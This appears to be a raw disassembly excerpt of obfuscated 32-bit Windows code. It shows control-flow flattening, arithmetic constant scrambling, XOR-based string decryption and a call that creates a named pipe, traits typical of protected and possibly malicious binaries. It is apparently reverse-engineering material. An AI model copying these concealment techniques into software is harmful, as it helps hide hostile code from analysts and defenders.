or ecx, 0x6d1bbf19
mov eax, ecx
xor eax, 0x978138b7
mov edx, 0xffffffff
xor edx, 0x978138b7
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x8bf5cbf0
mov edx, 0xffffffff
xor edx, 0x8bf5cbf0
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xa2fcd302
mov edx, 0xffffffff
xor edx, 0xa2fcd302
and eax, edx
sub eax, ecx
add eax, 0x26df218d
sub eax, 0xef84dc80
sub eax, 0x26df218d
mov ecx, 0x47fee323
xor edx, edx
div ecx
sub eax, 0x60dedc15
mov ecx, 0x30ac49df
xor edx, edx
div ecx
or eax, 0xf3cc601a
mov ecx, 0xd08267ad
xor edx, edx
div ecx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xc825c793
mov eax, 0xffffffff
xor eax, 0x6c7f7992
or esi, ecx
or eax, 0x6c7f7992
xor esi, 0xffffffff
and esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xc1dd35a5
mov edx, 0xffffffff
xor edx, 0xc1dd35a5
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x3fe86bfc
and ecx, 0xc1dd35a5
and edx, 0x3fe86bfc
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, 0xffffffff
xor edx, 0x8147dde
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x8147dde
add eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x3540db32
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3540db32
or eax, 0x3540db32
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x4f36e69e
add eax, ecx
add eax, 1
imul eax, eax, 0xf4ab5636
mov ecx, 0x1d1ef3f2
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x7db92328
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf6292298
or eax, edx
and ecx, 0xf6292298
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1dde1b3e
mov esi, 0xffffffff
xor esi, 0x1dde1b3e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1dde1b3e
or eax, 0x1dde1b3e
imul eax, edx
add eax, ecx
mov ecx, 0xe6d701f3
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xbaef708a
xor ecx, 0xffffffff
or eax, 0xbaef708a
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x6d452280
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xc7e026e3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc7e026e3
or eax, 0xc7e026e3
imul eax, edx
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x62108bfd
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x62108bfd
add eax, edx
sub eax, ecx
add eax, 0xada04c5c
sub eax, 0x726fee79
mov ecx, 0x6fdf731
xor edx, edx
div ecx
or eax, 0x3ea5f9c7
add eax, 0x7c37ef8
sub eax, 0x6a9ab59f
sub eax, 0x7c37ef8
mov ecx, 0x846ec3f2
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7295865b
or eax, edx
mov edx, 0xffffffff
xor edx, 0x7295865b
mov esi, 0xffffffff
xor esi, 0x7295865b
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1417ae3b
mov esi, 0xffffffff
xor esi, 0x1417ae3b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1417ae3b
or eax, 0x1417ae3b
imul eax, edx
add eax, ecx
or eax, 0x131c8d5d
xor ecx, ecx
sub ecx, 0x2b87578d
add eax, ecx
sub eax, 0x4b6698bf
mov edx, eax
xor edx, 0xffffffff
and edx, 0x50a8fec6
mov esi, 0xffffffff
xor esi, 0x50a8fec6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x50a8fec6
or eax, 0x50a8fec6
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa81b907f
mov ecx, 0xffffffff
xor ecx, 0xdc91c6f9
or eax, edx
or ecx, 0xdc91c6f9
xor eax, 0xffffffff
and eax, ecx
and eax, 0xaefd98b2
mov ecx, 0xeeb8bc9f
xor edx, edx
div ecx
sub eax, 0x1298f7c
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x9b70731a
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0x426b9979
add eax, 0x354e8f6d
sub eax, 0x426b9979
imul eax, eax, 0x34df6f02
add eax, 0xf75f6617
or eax, 0x3e097d89
xor eax, 0x37e719e2
add eax, 0x46d475a5
or eax, 0xde3adc25
or eax, 0xccef5060
xor ecx, ecx
sub ecx, 0xe04a266e
add eax, ecx
imul eax, eax, 0xbeeef812
mov ecx, 0x76679a40
xor edx, edx
div ecx
mov ecx, 0x1eed28a1
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x60772acd
mov eax, ecx
xor eax, 0xbe2d4211
xor eax, 0xffffffff
and eax, 0xbe2d4211
shl eax, 1
sub eax, 0xbe2d4211
sub ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0xde3c904c
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xde3c904c
mov esi, 0xffffffff
xor esi, 0xde3c904c
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0xbc8c9e2a
imul eax, eax, 0x75d0938d
mov ecx, 0xf9484e35
xor edx, edx
div ecx
xor eax, 0x2567e784
mov esi, 0xffffffff
xor esi, 0x8b3ccd99
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8b3ccd99
or eax, 0x8b3ccd99
imul eax, edx
add eax, ecx
add eax, 0xd3d33086
or eax, 0x6f3ffb5c
mov ecx, 0x5f24f80e
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x21541e51
mov edx, 0xac01d29e
cmp esi, 0x90fdea94
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [0x101d3190]
sub eax, dword [0x101d3194]
and eax, 0xf683e945
mov ecx, 0xa82d82f2
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xf71f1a06
xor ecx, 0xffffffff
or eax, 0xf71f1a06
and eax, ecx
imul eax, eax, 0x3ab853a8
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7306c8c1
mov ecx, 0xffffffff
xor ecx, 0x995866a5
or eax, edx
or ecx, 0x995866a5
xor eax, 0xffffffff
and eax, ecx
sub eax, 0x600523a6
mov ecx, 0x65650961
xor edx, edx
div ecx
imul ecx, eax, 0xef9e338b
mov eax, ecx
and eax, 0xb1cf0277
xor ecx, 0xb1cf0277
or eax, ecx
and eax, 0x62930d47
or eax, 0x71e17a4b
mov ecx, 0xffffffff
xor ecx, 0x13db9830
add eax, ecx
add eax, 1
add eax, 0x4a975c38
mov ecx, eax
and ecx, 0x218ad923
xor eax, 0x218ad923
or ecx, eax
add ecx, 0x29d3f082
mov edx, 0xffffffff
xor edx, 0xf14e2808
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xf14e2808
add ecx, edx
sub ecx, eax
or ecx, 0xfdeffce4
sub ecx, 0x906bc7a2
add ecx, 0x34259cb7
add ecx, 0x906bc7a2
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x12275eb2
mov esi, 0xffffffff
xor esi, 0xd11dc315
mov eax, edx
and eax, 0xd11dc315
mov dword [ebp - 0x7c], eax
and ecx, esi
mov ebx, edi
and ebx, 0xd11dc315
mov eax, esi
and eax, 0x12275eb2
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x7c]
or eax, ecx
mov ecx, dword [ebp - 0x78]
or ebx, ecx
mov ecx, dword [ebp - 0x54]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xd11dc315
and edx, esi
or eax, edx
or eax, 0x21c151f4
sub eax, 0x8fe95e7f
mov edi, 0xffffffff
xor edi, 0xeabdafdc
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0xeabdafdc
or eax, 0xeabdafdc
imul eax, esi
add eax, edx
mov esi, 0x2848c19e
xor edx, edx
div esi
mov edx, eax
xor eax, eax
sub eax, 0xfca40340
add edx, eax
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edx, 0x826e87d8
or edx, 0x826e87d8
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor eax, 0x4fc2bab9
imul edi, eax, 0x20a53847
mov eax, edi
xor eax, 0xffffffff
and eax, 0xbfd7bd08
mov esi, 0xffffffff
xor esi, 0xbfd7bd08
and edi, esi
mov edx, 0xffffffff
xor edx, 0xdf5091dd
and edx, 0xbfd7bd08
and esi, 0xdf5091dd
or eax, edi
or edx, esi
xor eax, edx
sub eax, 0x586b0d4e
mov esi, 0xd5b07965
xor edx, edx
div esi
or eax, 0x6ffa84aa
mov esi, 0xae87c209
xor edx, edx
div esi
xor edx, edx
sub edx, 0x13aa38f4
add eax, edx
xor edx, edx
sub edx, 0x448fc6f3
sub eax, edx
mov esi, 0x8ab86cd7
xor edx, edx
div esi
mov edi, eax
or edi, 0xf8bf2ca7
mov eax, edi
xor eax, 0xffffffff
and eax, 0x3610b79b
mov esi, 0xffffffff
xor esi, 0x3610b79b
and edi, esi
mov edx, 0xffffffff
xor edx, 0xf7b9e8a7
and edx, 0x3610b79b
and esi, 0xf7b9e8a7
or eax, edi
or edx, esi
xor eax, edx
and eax, 0xe1731d38
sub eax, 0xd75994cd
imul eax, eax, 0x7a498bce
mov edx, eax
and edx, 0xbf9553fe
xor edx, 0xffffffff
add eax, 0xbf9553fe
add eax, 1
add eax, edx
imul edx, eax, 0xa32ba6ba
mov eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x8f7ddfbf
or eax, esi
and edx, 0x8f7ddfbf
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
mov esi, 0x9a15be17
xor edx, edx
div esi
mov esi, 0xb63f0493
xor edx, edx
div esi
mov edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xf2a33847
mov esi, 0xffffffff
xor esi, 0xf2a33847
and edi, esi
mov edx, 0xffffffff
xor edx, 0x8722c616
and edx, 0xf2a33847
and esi, 0x8722c616
or eax, edi
or edx, esi
xor eax, edx
mov edx, eax
and edx, 0x56e2627a
shl edx, 1
xor eax, 0x56e2627a
add eax, edx
and eax, 0x36149c72
mov esi, 0x1b20098c
xor edx, edx
div esi
mov edx, eax
mov eax, edx
xor eax, 0x1080897d
xor eax, 0xffffffff
and eax, 0x1080897d
shl eax, 1
sub eax, 0x1080897d
sub edx, eax
and edx, edx
xor edx, 0xffffffff
mov eax, 0xd8cf78e6
and eax, 0xd8cf78e6
xor eax, 0xffffffff
xor edx, 0xffffffff
xor eax, 0xffffffff
or edx, eax
mov eax, edx
xor eax, 0x5e0282ac
xor eax, 0xffffffff
and eax, 0x5e0282ac
shl eax, 1
sub eax, 0x5e0282ac
sub edx, eax
mov eax, edx
and eax, 0x4d42e1f1
xor edx, 0x4d42e1f1
or eax, edx
mov esi, 0x57c022b1
xor edx, edx
div esi
mov esi, 0x2033e26
xor edx, edx
div esi
mov esi, 0x903b5ef7
xor edx, edx
div esi
mov esi, 0xcd093b51
xor edx, edx
div esi
sub eax, 0xbe5b939a
imul eax, eax, 0x8fb46288
and eax, 0x6e2fe736
xor eax, 0x33557b5e
mov esi, 0x2f1c8f25
xor edx, edx
div esi
mov edi, eax
sub edi, 0x3d36c254
mov eax, edi
xor eax, 0xffffffff
and eax, 0x8bbd0f61
mov esi, 0xffffffff
xor esi, 0x8bbd0f61
and edi, esi
mov edx, 0xffffffff
xor edx, 0x6b744f4d
and edx, 0x8bbd0f61
and esi, 0x6b744f4d
or eax, edi
or edx, esi
xor eax, edx
mov esi, 0xcd9767ec
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x1c]
and esi, 0x38d35c86
or esi, 0x1f5a99df
add esi, 0x4523273c
sub esi, 0x24b4b4eb
add esi, 0xcf8f85b6
mov dword [ecx], 0
mov ecx, 0x21541e51
mov edx, 0xea5e0f76
cmp esi, 0xc046ce05
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x463396b
jmp 0x1012bb05
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1017ab8f
mov eax, dword [ebp - 0x80]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x101d46f8]
mov dword [eax], 0x6f308338
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov cl, byte [0x101d120c]
xor cl, 0x77
mov byte [0x101d1222], cl
mov dl, byte [0x101d120d]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x28
or cl, ch
mov ch, 0xff
xor ch, 0x28
mov dh, 0xff
xor dh, 0x28
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101d1223], cl
mov cl, byte [0x101d120e]
xor cl, 0xe3
mov byte [0x101d1224], cl
mov dl, byte [0x101d120f]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb
mov dh, 0xff
xor dh, 0xb
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101d1225], cl
mov cl, byte [0x101d1210]
xor cl, 0xff
mov byte [str.2e__s], cl
mov dl, byte [0x101d1211]
mov cl, dl
xor cl, 0xff
and cl, 0xc2
mov ch, 0xff
xor ch, 0xc2
and dl, ch
or cl, dl
mov byte [0x101d1229], cl
mov cl, byte [0x101d1212]
xor cl, 0x23
mov byte [0x101d122a], cl
mov cl, byte [0x101d1213]
xor cl, 0xcd
mov byte [0x101d122c], cl
mov cl, byte [0x101d1214]
mov dl, cl
and dl, 0x42
shl dl, 1
add cl, 0x42
sub cl, dl
mov byte [0x101d1231], cl
mov cl, byte [0x101d1215]
xor cl, 0x18
mov byte [0x101d1233], cl
mov cl, byte [0x101d1216]
xor cl, 0xb2
mov byte [0x101d1234], cl
mov cl, byte [0x101d1217]
xor cl, 0x65
mov byte [0x101d1235], cl
mov cl, byte [0x101d1218]
xor cl, 0x6e
mov byte [0x101d1237], cl
mov cl, byte [0x101d1219]
mov dl, cl
and dl, 0x70
shl dl, 1
add cl, 0x70
sub cl, dl
mov byte [0x101d1238], cl
mov cl, byte [0x101d121a]
mov dl, cl
and dl, 0xa3
shl dl, 1
add cl, 0xa3
sub cl, dl
mov byte [0x101d123a], cl
mov cl, byte [0x101d121b]
mov dl, cl
xor dl, 0xb1
xor dl, 0xff
and dl, 0xb1
shl dl, 1
sub dl, 0xb1
sub cl, dl
mov byte [0x101d123b], cl
mov cl, byte [0x101d11d0]
xor cl, 0x62
mov byte [0x101d11f1], cl
mov dh, byte [0x101d11d1]
mov cl, dh
xor cl, 0xff
and cl, 0xdf
mov ch, 0xff
xor ch, 0xdf
and dh, ch
mov dl, 0xff
xor dl, 0xaa
and dl, 0xdf
and ch, 0xaa
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11f2], cl
mov dl, byte [0x101d11d2]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x84
or cl, ch
mov ch, 0x84
and ch, 0x84
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101d11f3], cl
mov cl, byte [0x101d11d3]
xor cl, 0x39
mov byte [0x101d11f4], cl
mov dl, byte [0x101d11d4]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x7c
or ch, 0x7c
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x7c
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101d11f5], cl
mov cl, byte [0x101d11d5]
xor cl, 0xcf
mov byte [0x101d11f6], cl
mov cl, byte [0x101d11d6]
xor cl, 0x12
mov byte [0x101d11f7], cl
mov cl, byte [0x101d11d7]
xor cl, 0x49
mov byte [0x101d11f8], cl
mov cl, byte [0x101d11d8]
xor cl, 0xcf
mov byte [0x101d11fc], cl
mov cl, byte [0x101d11d9]
mov dl, cl
xor dl, 0xd6
xor dl, 0xff
and dl, 0xd6
shl dl, 1
sub dl, 0xd6
sub cl, dl
mov byte [0x101d11fd], cl
mov dl, byte [0x101d11da]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x2d
mov dh, 0xff
xor dh, 0x2d
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x2d
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101d1200], cl
mov cl, byte [0x101d11db]
xor cl, 0x50
mov byte [0x101d1201], cl
mov cl, byte [0x101d11dc]
mov dl, cl
xor dl, 0xbb
xor dl, 0xff
and dl, 0xbb
shl dl, 1
sub dl, 0xbb
sub cl, dl
mov byte [0x101d1203], cl
mov cl, byte [0x101d11dd]
xor cl, 0x68
mov byte [0x101d1204], cl
mov cl, byte [0x101d11de]
xor cl, 0xed
mov byte [0x101d1207], cl
mov cl, byte [0x101d11df]
xor cl, 0x31
mov byte [0x101d1208], cl
mov cl, byte [0x101d11e0]
xor cl, 0x87
mov byte [0x101d1209], cl
mov cl, byte [0x101d11e1]
mov dl, cl
xor dl, 0x26
xor dl, 0xff
and dl, 0x26
shl dl, 1
sub dl, 0x26
sub cl, dl
mov byte [0x101d120b], cl
mov dword [eax], 0x4f4c6260
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], 1
mov dword [eax], 0xec16724
jmp 0x1012bb05
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x50]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0xa9ddb898
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], 1
mov dword [eax], 0xecd28c25
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], 0
mov dword [eax], 0xac01d29e
jmp 0x10127b53